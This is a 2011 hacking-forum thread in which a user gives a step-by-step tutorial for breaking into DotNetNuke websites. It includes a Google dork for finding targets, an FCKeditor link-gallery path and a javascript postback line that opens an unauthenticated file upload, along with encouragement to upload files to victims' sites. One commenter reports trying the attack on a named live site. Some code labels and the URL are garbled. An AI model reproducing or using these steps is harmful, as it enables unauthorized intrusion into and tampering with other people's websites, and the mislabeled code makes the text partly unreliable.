

Forum:[Hack Forums](#)

Thread: [Hacking a Website with Dot Net Nuke exploit \(DNN\)](#)

marrokos - April 13, 2011, 3:54 pm

This is only my second tutorial don't be too harsh on me. ?

In this tutorial i will explain how to use a simple dot net nuke exploit to hack a website. With DNN the hacker is allowed to upload a file to the server.

First we need a Google Dork and we will use `inurl:"/portals/0"`

NOTE : DNN vulnerability only happens in websites that have `"portals/0"` in their addresses.

Next, lets say that the vulnerable site is :

www.vulnerablewebsite.com/portals/0

Now came the exploit,

1) we must add PHP Code

`<?php`

`Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx`

at the end of the url

so in this example it will become

www.vulnerablewebsite.com/portals/0Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

A website is vulnerable to this type of attack if you get a windows like this :

[img]http://4.bp.blogspot.com/_fMrF3L8CTmg/TQ3OO0796AI/AAAAAAAAABFw/R93cjsbiVPQ/s1600/para+copy.jpg[/img]

2) Enter the following Javascript code in the address bar

PHP Code

`<?php`

`javascript:__doPostBack('ctlURL$cmdUpload','')`

With this you will be able to upload a file to the server.

If everything runs ok you should get an image like this

[img]http://1.bp.blogspot.com/_fMrF3L8CTmg/TQ3OLjA2qzI/AAAAAAAAABFs/Mits7HQtq-8/s1600/2.jpg[/img]

Notice the difference, you got an upload option there.

Very well, you managed to get the entry.

Now the hacker could upload a file to the victims website.

Be creativity!!?

Note: the files that you can upload should have following extensions

*.swf, *.jpg, *.jpeg, *.jpe, *.gif, *.bmp, *.png, *.doc, *.xls, *.ppt, *.pdf, *.txt, *.xml, *.xsl, *.css, *.zip, *.3gp, *.asf, *.asx, *.avi, *.flv, *.m4v, *.mov, *.mp4, *.mpe, *.mpeg, *.mpg, *.ram, *.rm, *.rmvb, *.wm, *.wmv, *.vob

This is only for educational purposes.

Note : Countermeasures i will explain in another post.

Mean - April 13, 2011, 4:01 pm

Great Tut!

It is well explained and has a lot of detail.

marrokos - April 13, 2011, 4:14 pm

Quote:Great Tut!

It is well explained and has a lot of detail.

Thanks Mean. I appreciate that :D:D

supersmodz - April 13, 2011, 4:59 pm

<http://grand-ravine.net/desktopmodules/livecontentslideshow/xmlprovider.aspx?tabId=63&modId=473&HomePath=/Portals/0/>

When I try it on this site it just gives me random code when I enter the JavaScript.

BTW:Thank You for the tutorial!